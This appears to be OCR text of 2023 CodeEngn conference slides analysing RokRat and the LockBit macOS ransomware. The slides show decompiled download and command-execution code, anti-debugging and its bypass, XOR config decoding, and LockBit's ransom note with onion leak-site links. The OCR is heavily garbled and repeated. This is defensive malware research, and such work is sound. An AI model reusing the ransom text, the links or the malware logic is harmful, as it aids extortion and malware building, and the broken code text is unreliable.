e. U« | «2U

C FR ’*C 00|77 7 00 < 1 R
41 52 44 57 C...HARDWARE\DES
49 4F 4E r 737 CRIPTION\System.
61 5C 4C ppData\Local\Tem
56 00 00 i 3 P\AJJV..SystemBi

73 69 6F 02 00 00|00 00 00 OO | osvVersion

27 R7 0NN 2 ) . L3 N o S ,dﬁ_,




Malware Sample Analyze

® RokRat I E

Gather VMware information
Command code and data download

- e AN A2 T 9,
if ( !WinHttpCrackUrl(vi3, *(_DWORD *)(v3 + 24), 0, & ))
goto LABEL_181;
sub_8E1550( )
= WinHttpConnect(*(HINTERNET *)v3, % .nPort, @);// HTTP HIA0 CHEH HInTerneT 2 3
() )
goto LABEL_181;
= 0;
if ( .nScheme == INTERNET_SCHEME_GOPHER )
= @x800000;
= ( t ) ;
if ( =8 )
16 = [el;
= HttpOpenRequest( ( ) .lpszUrlPath, @, @, @, |H

008EDD 9B

; enum _cri_exit_return_mode
; enum _crt_ewit_cleanup_mode
Fileiame] ; uExitCode




Malware Sample Analyze

@ RokRat g."*c-,l i AL * Gather VMware information
=  Command code and data download

R U ST ASCIR AT
if ( !WinHttpCrackurl * R
goto LABEL_181;
sub_8E1550( )i
4 = WinHttpConnect(*(HINTERNET *)

> - .nPort, @);// HTTP MIZ0H CHEH HINTERNET
if ( Ivid )
goto LABEL_181;
1] e;
if ( .nScheme == INTERNET SCHEME_GOPHER )
= OxB00000;
= ( t

16 = [el;
= WinHttpOpenRequest(v14, o (LP R) .1pszUrlPath, @, @, @, )5

push ; enus _crt_exit_return_mode
push e ; enum _crt_exit_cleanup_mode
Fileiame] ; uExitCode

00SEDD 9B




Malware Sample Analyze

® RokRat I E

= \vwn ST ASCIR AT
if ( !WinHttpCrackUrl(vi3, *( RD *)(v3 + 24), O, &
goto LABEL_181;
sub_8E1550( );
= WinHttpConnect(*(HINTERNET *)v3, :
170 )
goto LABEL_181;
= 0;
if ( .nScheme == INTERNET SCHEME_GOPHER )
= OxB00000;
= (const ) ;
if ( >= 8 )
n [el;
= HttpOpenReq R)

008EDD 9B

.nPort, 0);

.lpszUrlPath, @, @, @,

HTTP MIZ0 CHEF HInTerneT 21E B

|H

Gather VMware information
Command code and data download

; enum _cri_exit_return_mode
; enum _crt_ewit_cleanup_mode
Fileiame] ; uExitCode




Malware Sample Analyze

@ RokRat g."*cj i AL * Gather VMware information
=  Command code and data download

- e AN A2 T 9,
if ( !WinHttpCrackUrl(vi3, *(_DWORD *)(v3 + 24), 0, & ))
goto LABEL_181;
sub_8E1550( )
= WinHttpConnect(*(HINTERNET *)v3, % .nPort, @);// HTTP MIA0 C(HEH HInTerneT 21 S
() )
goto LABEL_181;
= 0;
if ( .nScheme == INTERNET_SCHEME_GOPHER )
= @x800000;
= ( t ) ;
if ( =8 )
16 = [el;
= WinHttpOpenRequest(v14, o (LP R) .lpszUrlPath, @, @, @, |H

push ; enus _crt_exit_return_mode
push e ; enum _crt_exit_cleanup_mode
Fileiame] ; uExitCode

008EDD 9B




Malware Sample Analyze

® RokRat &

Mac

=  Gather VMware information
=  Command code and data download

text:
text:
text:
text:
text:
text:
text
text
text
text
text
text
text
text
text
ytext
text
text
‘text
text
text
text:
g 2

@B3EB633
@O3EB63B
@BBEB6I1
@BBEB693
@BBEB699
@B3EB69B

:@B3EBGAL
:@BBEBGA3
:@BBEBGA9
:@B3EBGAB
:@B3EB6B1
:@B3EB6GB3
:@BBEB6GBS
:@BBEB6B7
:@B3EB6BY
:@B3EB6GBB
:@B3EB6GBD
:@B3EBGBF
:@@8EB6CL
:@B8EB6(C3
:@BBEB6BCS

@e3EB6CT
@B3EB6CY

add

cmp
4z
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jnz
lea

esp, 4
al, [ebp+s

aly 318 5 °

loc_8EB8SD

al, 324 5 °

loc_8EB8SD

al. 35h 3 °

loc_8EB8SD

zUrl]

al, 36h s "6’

loc_8EBSSD
al, 33h 3
short loc_;

al, 34h ; '4'

short loc_;
al, 37h ;
short loc_
al, 38h ;
short loc_;
al, 3%h ;
short loc_;

al, 65h ; '

short loc_

eax, [ebp+szUrl+l]

8EB723

8EB723

8EB723

rar
o

8EB723
8EB723

8EB706

Input explanation
1,2,5,6 Access the URL and download the binary
3,4,7,8,9 XOR decrypts the received encrypted data with a 32-byte
key value generated by a random key to generate an
Access Token value and set it as a cloud access
authentication value
e Execute the received command using cmd




Malware Sample Analyze

® RokRat I E

A

| HRHHEE
" El-*l
=T
= Open
: CERLREES
LEERL
I http://bit.ly/xxx {
¢ ! [ A= stE HojE e 2 o
ot sl=l O3 =2 | ClezRE co = x
HX|AER M™ =i e H|O|E{ Cte=E
2355} 0l AlsH j|0| E{ C}
\ 4
4 v o 2 2] &
O El A AH A Al'SH fEI-ao“ \ 4
TaHZ SS Notepad.exe &5 =X Tpol A%
4 \ 4 AlS
Error %?:l oc = I:l°=|'r_'°=|0.| E%g
STl = ShellCode ¢
Il =M Open
v
: LRI
=X Close |«




Malware Sample Analyze

® LockBit Malware Analyze



Malware Sample Analyze

® |ocker_Apple_ M1 _64 24 HIAE

Attacker MAC Malware Execute Script

A-e-5-3-

Mac OS
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locker_Apple_M1_64 2D E

= getppid(); pid
if ( ptrace(31, vs, OLL, @) == -1 ) ptrace
goto LABEL_15;
memcpy (&g _Config, 8apple_config, 9x2468ull);
for ( = OLL; I= 9304; 441 )
"((_E )8g_Config + L + 16) *= *(
iMinfilesize = 16LL;
bdaemon = 1;
bSelfRemove = ( ¢ yword_10005909C;
publickey = ( Y8unk_100059482;
idelayinmin = dword_100059240;
wholefile = word_1000590A4 != @;

)8g_Config + (I & OxF));

bfullog = ( igne yword_10@@590A6;
bnostop = word_1000590A8 != @;
noext = ( igne intlo)word_1008590AA;
no_log = word_1800590AC != O;

= (unsigne int16)*(&word_10005909C + 4651);
bwipe = word_100059€9t != @;
bVMDKmode = v7;

iSpetMaximum = unk_100059@A%;
strncpy(8start_from_dir, asc_100059082, 0x400ull);
= time(OLL);
srand(vi);
= xor_val; /9 = Ox39
= 8locker_pid;

0x10000b0f4 <+32

0x10000b0OT8
0x10000b0fc

0x10000b100 <+44

0x10000b104
0x10000b10¢
0x10000b10¢

0x10000b110 <«
0x10000b114 <«
0x10000b118 «

0x10000b11¢

0x10000b120
0x10000b124 <«
0x10000b128 <«

0x10000b12¢

0x10000b130
0x10000b134
0x10000b138 <

0x10000b13c

0x10000b140 <

nop
adar

nop

=  Getppid, Ptrace
=  Anti-Debugging

x8, #0x44f0c 7 (void *)0x0000000
x8, [x8]

[sp, #0x178]
0x100042834
x1, x0

#0x1f

2, #0x0

w3, #0x0
9x1000429c¢
wh, #0x1
0x10000b4e8 ; <+1044>
x21, #0x4df64 ; g_Config

symbol stub for: ppid

symbol stub for: ptrace

x1, #0x4ced8 apple_config
X0, x21

w2, #0x246
0x100042888

symbol stub

__stack_chk_guard




Malware Sample Analyze

locker_Apple_M1_64 2D E

= getppid(); pid
if ( ptrace(31, vs, OLL, @) == -1 ) ptrace
goto LABEL_15;
memcpy (&g _Config, 8apple_config, 9x2468ull);
for ( = OLL; I= 9304; 441 )
"((_E )8g_Config + L + 16) *= *(
iMinfilesize = 16LL;
bdaemon = 1;
bSelfRemove = ( ¢ yword_10005909C;
publickey = ( Y8unk_100059482;
idelayinmin = dword_100059240;
wholefile = word_1000590A4 != @;

)8g_Config + (I & OxF));

bfullog = ( igne yword_10@@590A6;
bnostop = word_1000590A8 != @;
noext = ( igne intlo)word_1008590AA;
no_log = word_1800590AC != O;

= (unsigne int16)*(&word_10005909C + 4651);
bwipe = word_100059€9t != @;
bVMDKmode = v7;

iSpetMaximum = unk_100059@A%;
strncpy(8start_from_dir, asc_100059082, 0x400ull);
= time(OLL);
srand(vi);
= xor_val; /9 = Ox39
= 8locker_pid;

=  Getppid, Ptrace
=  Anti-Debugging

0x10000b0f4 <+32

0x10000b0OT8
0x10000b0fc

0x10000b100 <+44

0x10000b104
0x10000b10¢
0x10000b10¢

0x10000b110 <«
0x10000b114 <«
0x10000b118 «

0x10000b11¢

0x10000b120
0x10000b124 <«
0x10000b128 <«

0x10000b12¢

0x10000b130
0x10000b134
0x10000b138 <

0x10000b13c

0x10000b140 <

nop
adar

nop

x8, #0x44f0c 7 (void *)0x0000000
x8, [x8]

[sp, #0x178]
0x100042834
x1, x0

#0x1f

2, #0x0

w3, #0x0
9x1000429c¢
wh, #0x1
0x10000b4e8 ; <+1044>
x21, #0x4df64 ; g_Config

symbol stub for: ppid

symbol stub for: ptrace

x1, #0x4ced8 apple_config
X0, x21

w2, #0x246
0x100042888

symbol stub

__stack_chk_guard
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) o] P S ==
|0Cker_App|e_|V|1_54 -1 O-41-— =  Anti-Debugging bypass

3edhhd21756ae30r24f f7dR942656heN2413918180b7bdddde5c62a9dfbdBc79 main:

0x10000b120 <+76>: cmr wd, #0x1 req;ster write w@ 0x2
0x10000b124 -« .eq 0x10000bdes ' <+1044> register read wo
0x10000b128 <+84>: #0x4df64 : g_Conf1i wl = 0x00000002

Ox10000b1 2«

void *)ex000000019e09a768:

0x00000001000c8070 dyld dyld sConfigBuffer

)00R000000000

00000000000

000000000000
2x0000000000000000
Ox0000000000000000

1000000000000
Ox0000000000000000
0x000000016fdff610
Ox5a3780010000b120 (2x000000010000b120) 3ed4bbd21756ae30c24117d6942656D 413918180b7bddd4e5¢c62a9dbdBc79
2x000000016Tdff270
Ox0000000100000120 3¢4bbd21756ae30c24117d6942656be02413978180b7bddd4e5¢c62a9dTbd8c79 mair

cps’r 9x60001000

register read wo

wd = Oxffffffff
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) o] P S ==
|0Cker_App|e_|V|1_54 -1 O-41-— =  Anti-Debugging bypass

3edhhd21756ae30r24f f7dR942656heN2413918180b7bdddde5c62a9dfbdBc79 main:

0x10000b120 <+76>: cmr wd, #0x1 req;ster write w@ 0x2
0x10000b124 -« .eq 0x10000bdes ' <+1044> register read wo
0x10000b128 <+84>: #0x4df64 : g_Conf1i wl = 0x00000002

Ox10000b1 2«

void *)ex000000019e09a768:

0x00000001000c8070 dyld dyld sConfigBuffer

)00R000000000

00000000000

000000000000
2x0000000000000000
Ox0000000000000000

1000000000000
Ox0000000000000000
0x000000016fdff610
Ox5a3780010000b120 (2x000000010000b120) 3ed4bbd21756ae30c24117d6942656D 413918180b7bddd4e5¢c62a9dbdBc79
2x000000016Tdff270
Ox0000000100000120 3¢4bbd21756ae30c24117d6942656be02413978180b7bddd4e5¢c62a9dTbd8c79 mair

cps’r 9x60001000

register read wo

wd = Oxffffffff
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) o] P S ==
|0Cker_App|e_|V|1_54 -1 O-41-— =  Anti-Debugging bypass

3edhhd21756ae30r24f f7dR942656heN2413918180b7bdddde5c62a9dfbdBc79 main:

register write w X2
0x10000b120 <+76>: cmr wd, #0x1 quS = e wo 0
0x10000b124 - .eq  ©0x10000bdes : <+1044> register read w@
0x10000b128 <+84>: #0x4df64 ; g_Confi wd = 0x00000002

Ox10000b1 2«

void *)ex000000019e09a768:

0x00000001000c8070 dyld dyld sConfigBuffer

)00R000000000

00000000000

000000000000
2x0000000000000000
Ox0000000000000000

1000000000000
Ox0000000000000000
0x000000016fdff610
Ox5a3780010000b120 (2x000000010000b120) 3ed4bbd21756ae30c24117d6942656D 413918180b7bddd4e5¢c62a9dbdBc79
2x000000016Tdff270
Ox0000000100000120 3¢4bbd21756ae30c24117d6942656be02413978180b7bddd4e5¢c62a9dTbd8c79 mair

cps’r 9x60001000

register read wo

wd = Oxffffffff
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® locke r_AppIe_M 1 64 oﬂl'*o-l s L= * Inject malicious code into the memory of a vulnerable
system

: 000020 10900855003 EXPORT _applg-conf]s
:0000000100058008 _apple_config DCB @xdA ; )
¢ 258099 DCB @xF9
DCB 9x38
DCB @xDB
DCB 9x45
DCB @x1A
DCB 9x76
DCB ox4F
DCB oxAB
DCB ex74
DCB @x98
DCB @ext9
DCB @xFF
DCB ex18
DCB oxF1
DCB OxE1l
DCB @x4A

__data:0eee0e810005988C EXPORT _g Config
[ _data:ceeeeee1e0es9e8C g Config DCB @xC8 DATA XREF: main+5al

] 31

memcpy{&g_Config, &apple_config, 0x2468)
for (i=0LLi'= 9304 ++i)
*({_BYTE *)&g_Config + i + 16) ~= *((_BYTE *)&g_Config + (i & 0xF));



Malware Sample Analyze

® locke r_AppIe_M 1 64 oﬂl'*o-l s L= * Inject malicious code into the memory of a vulnerable
system

22109055003 EXPORT _apple_config
100058008 _apple_config DCB @xdA ; ) o

5099 MB ;’\CQ

DCB Ox38 ; &

DCB @xDB

DCB 9x45

DCB @x1A

DCB 9x76

DCB exar

DCB oxAB

DCB ex74

DCB @x98

DCB exE9

DCB @xFF

DCB ex18

DCB @xFl

DCB OxE1l

DCB exd4a

__data:0eee0e810005988C EXPORT _g Config
[ _data:ceeeeee1e0es9e8C g Config DCB 9xC8 DATA XREF aine541
gata 190059081

o 100

memcpy{8g_Config, &apple_config. 0x2468)
for (i=0LLi'= 9304 ++i)
*({_BYTE *)&g_Config + i + 16) ~= *((_BYTE *)&g_Config + (i & 0xP));
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® locke r_AppIe_M 1 64 oﬂl'*o-l s L= * Inject malicious code into the memory of a vulnerable
system

EXPORT _apple_config
_apple_config DCB ©x4A ;
Ma @xF9
DCB 9x38
DCB @xDB
DCB 9x45
DCB @x1A
DCB ox76
DCB ox4F
DCB oxAB
DCB ex74
DCB @x98
DCB exE9
DCB @xFF
DCB ex18
DCB @xFl
DCB ©xEl
DCB exd4a

EXPORT _g Config
C

o

ax
DCB Ox
ax

a

m

memcpy{&g_Config, &apple_config, 0x2468)
for (i=0LLi'= 9304 ++i)
*({_BYTE *)&g_Config + i + 16) ~= *((_BYTE *)&g_Config + (i & 0xF));
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locker_Apple_M1_64 2D E

Contains a list of 65 file extensions and file names to
be excluded from encryption, all Windows file
extensions and folders.

= xor_val;
= &locker_pid;
do
{
- = ";
* 4 =

}
while ( Js

= &lockex;
do
{ = A
* ++ = & ;
}
while ( )

de_xor_all();
except_folerl
except_foler2

"N
~

1)strdup(&sudoers_d);
1)strdup(&usr_share);

//

//

//
//
‘//

0x39

vil

vl3 =

xor it

except

/] except

/tmp/locker.pid

Same process runn.

—~

al
ECi 1
U2

er

T K

Exit.

.bat
.dll

Isstyles

ntldr

ntuser.dat. log

bootsect.bak
autorun.inf
thumbs.db

iconcache.db
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® |ocker_Apple_ M1 _64 24 HIAE

Contains a list of 65 file extensions and file names to
be excluded from encryption, all Windows file
extensions and folders.

= xor_val;

}
while ( Js
= &lockex;

while ( I
de_xor_all();
except_folerl
except_foler2

= &locker_pid;

1)strdup(&sudoers_d);
t64)strdup(&usr_share);

//

//

//
//

0x39

vil /tmp/locker.pid

vl3 = Same process runn. Exit.

xor itertal
EC{ 1
U2

except

T

except

.bat
.dll
1Isstyles
gadget
winmd
ntldr

ntuser.dat. log

bootsect.bak
autorun.inf
thumbs.db

iconcache.db
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) locke r_Apple_M 1_64 04'*3 L . ILis :ecryptled by performing xor 0x39 on each byte of
the data value.

ERestore My Files_name

N
do
. . o
. - 4
while ).
SRestore My Files body;
. 4
[+] Round 12 o
~~e~ LockBit the world's f: and most stable ransomware from ~~~ - )
.
Your data is stolen and encrypted s ’
If you don't pay the r , the a wi be published on our TOR darknet sites. K I once your data appq " <
rs on our leak , 4 " your competitors at any second, so don't esit r a1 time while ( ’
o 3 At ae B EENLL faa
you pay the ransom, e S00 » your company will be safe. SRes < y iles iy _1;
do
Tor Browser Links
p - . . . = Lahae .
http//lockbitaptdkribew Y sprk) uncead.onion » 4 v
/ < 3 -
http//lockbitaptyfbtlichxejugks vipgkmevvlazlgypyd.onion . ’
http//lockbitaptkvr ) zpbbsywnzsbdguqd.onion )
http//lockbitaptxzkijbcgmzfrdhec adevyiwqgxukksspnlidyvdqd.onion while (
http//lockbitaptvxteeqjofwgc BRestore My Files body 2;
http//lockbitaptiwn gshke ~y do
http//lockbitaptawjludhpdueh atjftexmkwesezsfqgpipid.onion {
http//lockbitaptbdiajqt jpr kkutnbvydrwagyekqd.onion -
http//lockbitaptcigatewzis tyrlgtwukgaxkgtzjqd.onion . .. 3

Links for normal browser
http//lockbitag gvtq xrxbwwsprkyietouncead.onion.ly

http//lockbitapt 1 jpqkmevvlazlgypyd.onion.ly

http//lockbitaptkvrip ) hh 3 ffgszpbbsywnzsbdguqd.onion.ly
http//lockbitapt b s xukksspnlidyvdqd.onion.ly
http//lockbitaptvxt ofwgc | jauuccipykyd.onion.ly
http//lockbitaptiwnjgnqpymggs rtdgmiartsbqd.onion.ly
http//lockbitaptawj ‘ yatjftcxmkwesezsfqgpjpid.onion.ly
http//lockbitaptbdia igzgdjprwugkkutnbvydrwagyekqd.onion.ly
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locker_Apple_M1_64 2D E

2

[+] Round 1
~~r~ LockBit

Your data is stole
If you don't pay the

rs on our leak si
you pay the rar

Tor Brows Links
http//lockbitaptdkribew
http//lockbitaptyfbtl
http//lockbitaptkvriy
http//lockbitaptxzkijt
http//lockbitaptvxt
http//lockbitaptiwn
http//lockbitaptawj
http//lockbitaptbdiajqt
http//lockbitaptcic

Links for normal
http//lockbitapt
http//lockbitapt
http//lockbitaptkvriy

http//lockbitaptxzkjbc i

http//lockbitaptvxteeq
http//lockbitaptiwnjgn
http//lockbitaptawjlud
http//lockbitaptbdiajqt

P

iehekiyatjftcxmkwese

most stable ransomware from ~~~

L be published on our TOR dar
your competitors at any second,
company will be safe.

jgxrxbwwsprkyietouncead.onion
1 jpgkmevvlazlgypyd.onion
ffgszpbbsywnzsbdguqd.onion

wqxukksspnlidyvdqd.onion

fwgcglmutranygvokjauuccipykyd.onion

ggskgypryrirtdgmiartsbqd.onion

fqgpjpid.onion
djipr tnbvydrwagyekqd.onion
ktyrlgtwukgaxkgtzjqd.onion

sprkyietouncead.onion.ly
jpqkme Lgypyd.onion.ly
f pbbsywnzsbdguqd.onion.ly
xukksspnlidyvdqd.onion.ly
jauuccipykyd.onion.ly
miartsbqd.onion.ly
ekiyatjftcxmkwesezsfqgpjpid.onion.ly
gzgdjprwugkkutn rwagyekqd.onion.ly

= |tis decrypted by performing xor 0x39 on each byte of
the data value.
SRestore My Files_name;
'.I-hllr‘ ( ),
= RBRestore My Files dy ;
once your data app ’
long time he soon while ( ’
S s = BRestore My ¥ ody 1;
;-h:lw ( ):
ARest e My Files iy 4.
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) locke r_Apple_M 1_64 04'*3 L . ILis :ecryptled by performing xor 0x39 on each byte of
the data value.

SRestore My Files _name;
do
. . o
. - 4
while ( ),
- BRestore My Files body:
. fo
[+] Round 12 ('\
~~e~ LockBit ld's f3 most stable ransomware from ~~~ - )
-
Your data is stole cry e ’
If you don't pay the rans e ill be published on our TOR darknet sites ep t once your data app " _
rs on our leak sit 1 your competitors at any second, n't hesitat * a long time. The soon while (
P - = X st o » Lo iy
you pay the rar X e s o8 » company will be safe. iRe € y ody_1;
do
Tor Brows Links
p - . - . s e .
http//lockbitaptdkribew jgxrxbwwsprkyietouncead.onion . &S
4 = 3 .
http//lockbitaptyfbtichxe 1 jpgkmevvlazlgypyd.onion > ’
http//lockbitaptkvriy ylohhxr ffgszpbbsywnzsbdguqd.onion )
http//lockbitaptxzkijt - vyiwqxukksspnlidyvdqd.onion while ( s
http//lockbitaptvxteeqjofwgcglmutranygvokjauuccipykyd.onion &Restore My Files _body 2;
http//lockbitaptiwn ymggskgypryrirtdgmiartsbqd.onion do
http//lockbitaptawjludhpduehekiyatjftcxmkwesezsfqgpjpid.onion {
http//lockbitaptbdiajqt djpr tnbvydrwagyekqd.onion - . H v .
http//lockbitaptcic 2 ktyrlgtwukgaxkgtzjqd.onion . .. 3
Links for normal

http//lockbitapt Lbewgvtqulijg swsprkyietouncead.onion.ly

http//lockbitapt 1 ipgkme Lgypyd.onion.ly
http//lockbitaptkvripxojy f pbbsywnzsbdguqd.onion.ly
http//lockbitaptxzkjbecqg C F xukksspnlidyvdqd.onion.ly
http//lockbitaptvxteeqjofwe / jauuccipykyd.onion.ly
http//lockbitaptiwnjgnqgpy igmiartsbqd.onion.ly

http//lockbitaptawjludhpduehekiyatjftcxmkwesezsfqgpjpid.onion.ly
http//lockbitaptbdiajqtp gzgdjprwugkkutn rwagyekqd.onion.ly




Malware Evolution

® Malware Evolution



End

® Malpro

B MalPro - Project

www.CodeEngn.com

2023 CodeEngn Conference 19

r HH

) 4
H

i
=

0z

B T C TR &1
r=

Db
o

T Hr Mo
1z

=

e nE
1=

R

o of
or  ox
M In In
-
Nz
£ &
= =
ok
o oA
& 1z

Il
W o2 1 ©

o

nf2)
fot
o

T

==

Il

Thanks you

MsMpEng.exe

SmartScreen.exe

Winlogon.exe

Instagram : White_jin0O
Discord : whiteRev#8300

Codef Engn



